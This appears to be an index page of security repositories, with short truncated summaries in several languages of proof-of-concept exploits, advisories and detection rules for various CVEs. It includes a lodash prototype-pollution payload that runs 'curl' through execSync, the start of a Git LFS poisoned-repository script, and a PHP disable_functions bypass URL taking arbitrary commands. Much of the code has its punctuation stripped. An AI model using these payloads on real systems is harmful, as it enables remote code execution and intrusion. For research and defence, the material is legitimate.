CVE-2026-4800-POC

CVE-2026-4800-POC 安全公告 https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc POC const = require'lodash'; Object.prototype.imports = 'x=process.getBuiltinModule"childprocess".execSync"curl https://example.com"':undefined .template'', ; 攻击流程 首先利用先前存在的原型污染漏洞，用攻击者控制的属性污染...

CVE-2026-35678

Informe de Investigación de Vulnerabilidad: Referencia Directa a Objetos Insegura IDOR en Todo Eduplus Student ERP Investigador: Vinay Sharma 1. Resumen Ejecutivo Este informe detalla una vulnerabilidad de seguridad de alta severidad identificada en la plataforma Eduplus Student ERP,...

CVE-2026-33154

Dynaconf SSTI 漏洞报告 摘要 Dynaconf 由于 @Jinja 解析器中的不安全模板求值，存在服务端模板注入（SSTI）漏洞。当安装了jinja2 包时，Dynaconf 会在无沙箱环境下求值嵌入在配置值中的模板表达式。 如果攻击者能够影响配置源，例如： 环境变量 .env 文件 容器环境配置 CI/CD 密钥 ...他们就可以在主机系统上执行任意操作系统命令 。此外，@Format 解析器允许对象图遍历，这可能会暴露敏感的运行时对象和环境变量。 详细信息 该漏洞的产生是因为 Dynaconf 的字符串解析器缺乏适当的安全边界。 1. @Jinja 解析器 @Jinja...

detect_CVE-2026-21509

CVE-2026-21509 漏洞在 MS Office 中的检测规则 本仓库包含一个 YARA 规则，用于检测可能利用 CVE-2026-21509 漏洞的 RTF 文档， 以及一个 Python 脚本，用于检查 MS Office 文件是否包含与该漏洞相关的 Shell.Explorer.1 OLE 对象。 更多技术细节请参阅 https://decalage.info/CVE-2026-21509/ 。 针对 RTF 文件的 YARA 规则 该规则匹配包含 Shell.Explorer.1 OLE 对象的 RTF 文档，这些对象被用于 利用 CVE-2026-21509...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 的预编译构建版本。 当然，你不应该信任预编译的构建版本 : 此版本的工作方式略有不同：首先创建一个最小的共享对象。该对象被打包到主二进制文件中，并在执行时释放。使用 Musl 进行编译以尽量减少依赖（例如特定的 libc 版本？） 致谢 Qualys 的原始公告：https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt Berdav（Davide Berardi）的 PoC：https://github.com/berdav/CVE-2021-4034...

CVE-2026-33229

CVE-2026-33229 — 通过 Apache Velocity 沙箱绕过实现 XWiki RCE XWiki Platform 中的一个远程代码执行漏洞，允许具有脚本权限的已认证用户完全绕过 Apache Velocity 沙箱——无需 Java 反射——通过遍历 Velocity 上下文中已预先实例化的对象实现。 📄 完整技术细节： youssefazefzaf.com/posts/cve 详情 字段| 值 ---|--- CVE ID| CVE-2026-33229 受影响产品| XWiki Platform 组件| Velocity 宏渲染器，页面标题参数 所需权限| 已认...

jsPDF-Object-Injection

CVE-2026-25755 jsPDF 沙箱绕过缺陷导致对象注入 概述 在 jsPDF（一种广泛用于客户端应用中生成 PDF 文档的 JavaScript 库）中发现了一个严重的 PDF 对象注入漏洞（CVE-2026-25755）。该漏洞存在于 addJS 函数中，攻击者可通过不当的输入清理绕过 AcroJS 沙箱限制，注入任意 PDF 对象。 根本原因 jsPDF 中的 addJS 函数允许开发者在生成的 PDF 文件中嵌入 JavaScript 代码。然而，在 4.2.0 版本之前，该函数未能正确清理包含特殊 PDF 语法字符的用户输入。 易受攻击的代码（4.2.0 之前）...

CVE-2026-35045-PoC

CVE-2026-35045 — Tandoor Recipes 中的对象级授权失效漏洞 摘要 Tandoor Recipes v2.6.1 中的 PUT /api/recipe/batchupdate/ 端点允许 Space 内的任何已认证用户 修改该 Space 中的任意食谱——包括其他用户拥有的私有食谱。这完全绕过了所有标准单食谱端点上强制执行的对象级授权检查。 根本原因是 Django REST Framework 的一个行为缺陷 ：detail=False 列表操作永远不会调用 hasobjectpermission，只会调用 haspermission。查询集仅通过...

djust has broken object-level access control (IDOR)

Impactdjust's per-object authorization getobject + hasobjectpermission, ADR-017 was enforced on the WebSocket mount and event paths but not on three other render entry points: a the initial HTTP GET render, b SPA urlchange navigation, and c % liverender % embedded child views. An authenticated us...

Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value

Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value SummaryCalendar events carry a free-form meta object that is stored exactly as submitted, with no validation of the values inside it. The scheduler reads the per-event alert offset out of that object i...

CVE-2026-24134-PoC

CVE-2026-24134-PoC 概述 本仓库包含 CVE-2026-24134 的概念验证（PoC），这是 StudioCMS 中的一个对象级授权失效（BOLA）漏洞。 内容 cve202624134poc.py - Python 利用脚本 前置条件 StudioCMS=0.1.1 pip install requests colorama 快速开始 手动利用 基本用法 python3 cve202624134poc.py \ -u http://localhost:4321 \ --username visitoruser \ --password visitorpass ...

CVE-2025-32463

CVE-2025-32463 - Sudo 权限提升 PoC /////// 免责声明 ///////////////////////////////////////////////////////////////////////////////////////////////////////////////// 本项目仅供教育目的使用。 使用本仓库的任何部分，即表示您确认不会利用其中包含的代码或技术来未经授权访问 您不拥有或未经明确许可进行测试的系统。 作者（nflatrea）对本概念验证或相关材料的任何滥用、损害或后果不承担任何责任或义务， 您同意自行承担使用本代码的风险。...

CVE-2026-19478

-b91c1c?style=flat-square CVE-2026-19478 — Nuclei 模板 针对 CVE-2026-19478 的非破坏性 Nuclei 检测模板。该漏洞是 GitLab GraphQL API 中的一个严重（CVSS 9.4）未认证任意方法调用缺陷，GitLab 已于 2026 年 8 月 17 日 修复。 TL;DR GitLab 的 GraphQL schema 支持一个 @glintroducedversion: "X.Y.Z" 指令，该指令将某个字段限制为仅在最低 GitLab 版本上可用。当该指令引用的版本 高于 当前运行实例时，GitLab...

CVE-2026-22004-Git-LFS-Pointer-Poisoning-Supply-Chain-

CVE-2026-22004 – Git LFS 指针投毒（供应链） 程序代码（Bash + Python） createmaliciousrepo.sh - Sets up a repo with poisoned LFS pointer git init git lfs track ".bin" echo "version https://git-lfs.github.com/spec/v1 oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566 size 4" malware.bin g...

CVE-2026-54121-CertiGhost

CVE-2026-54121-CertiGhost この POC は、https://github.com/aniqfakhrul/CVE-2026-54121/blob/main/certighost.py にあるオリジナルの POC コードを基に、MachineAccountQuota によって一般的に制限される新しいコンピュータの作成に依存するのではなく、すでに制御しているコンピュータオブジェクトを使用するように少し変更したものです。 CertiGhost 脆弱性の詳細については、元の リポジトリ を参照してください。 使用例: python3 certighost.py -d...

same_type_object_reuse_exploits

PoC 同一型/同一アドレスオブジェクト再利用エクスプロイト Mathias Krause が開発した PoC エクスプロイト。ブログ https://grsecurity.net/exploitinganddefendingagainstsametypeobjectreuse に関連します。...

Cooper-ndss-2022

Cooper: 協調的変異によるスクリプト言語のバインディングコードのテスト Cooperは、協調的変異を利用してスクリプト言語のバインディングコードをテストし、メモリ安全性の問題を発見します。協調的変異は、スクリプトコードと関連するドキュメントオブジェクトを同時に変更し、バインディングコードのさまざまなコードパスを探索します。協調的変異をサポートするために、スクリプトコードとドキュメントオブジェクトの関係を推論し、二次元の変異を導きます。私たちはツールCooperを、Adobe Acrobat、Foxit Reader、Microsoft...

bypass_disablefunc_via_LD_PRELOAD

bypassdisablefunc.phpには3つのGETオプションがあります：cmd、outpath、sopath。 オプションは非常に簡単です。 cmdはあなたの邪悪なコマンドで、 outpathはコマンド出力のファイルパス（読み取りおよび書き込み可能）で、 sopathは共有オブジェクトbypassdisablefuncx64.soの絶対パスです。例： http://site.com/bypassdisablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypassdisablefuncx64.so...

CVE-2024-36039_PoC

CVE-2024-36039: PyMySQL オブジェクトインジェクションからSQLインジェクションへのPoC CVE-2024-36039 向けの完全かつ再現可能な Proof of Concept PoC ラボです。PyMySQL（バージョン = 1.1.0）のオブジェクトインジェクション脆弱性を、MariaDB の ODBC エスケープシーケンスを使用して完全な SQL インジェクションに昇格できることを実演します。 ⚠️ 法的および倫理的免責事項（倫理的な使用のみ） このリポジトリは学術および研究目的のみ を対象としています。...

ODPure

ODPure：通过集成损坏共识实现目标检测的后门净化 首个针对目标检测器的输入阶段黑盒净化防御，用于抵御后门攻击。 📖 概述 ODPure 是首个专为目标检测器抵御后门攻击而设计的输入阶段、黑盒净化框架。它实现了一种新颖的 损坏-重建-选择（Corruption-Reconstruction-Selection, CRS） 范式，该范式： 1. 损坏 输入图像，使用多样化的扰动来破坏触发器模式 2. 重建 细粒度结构特征，使用生成式扩散先验 3. 选择 高置信度检测结果，通过空间共识投票 ODPure 有效中和了多种后门攻击（将攻击成功率降至低至 0.0%...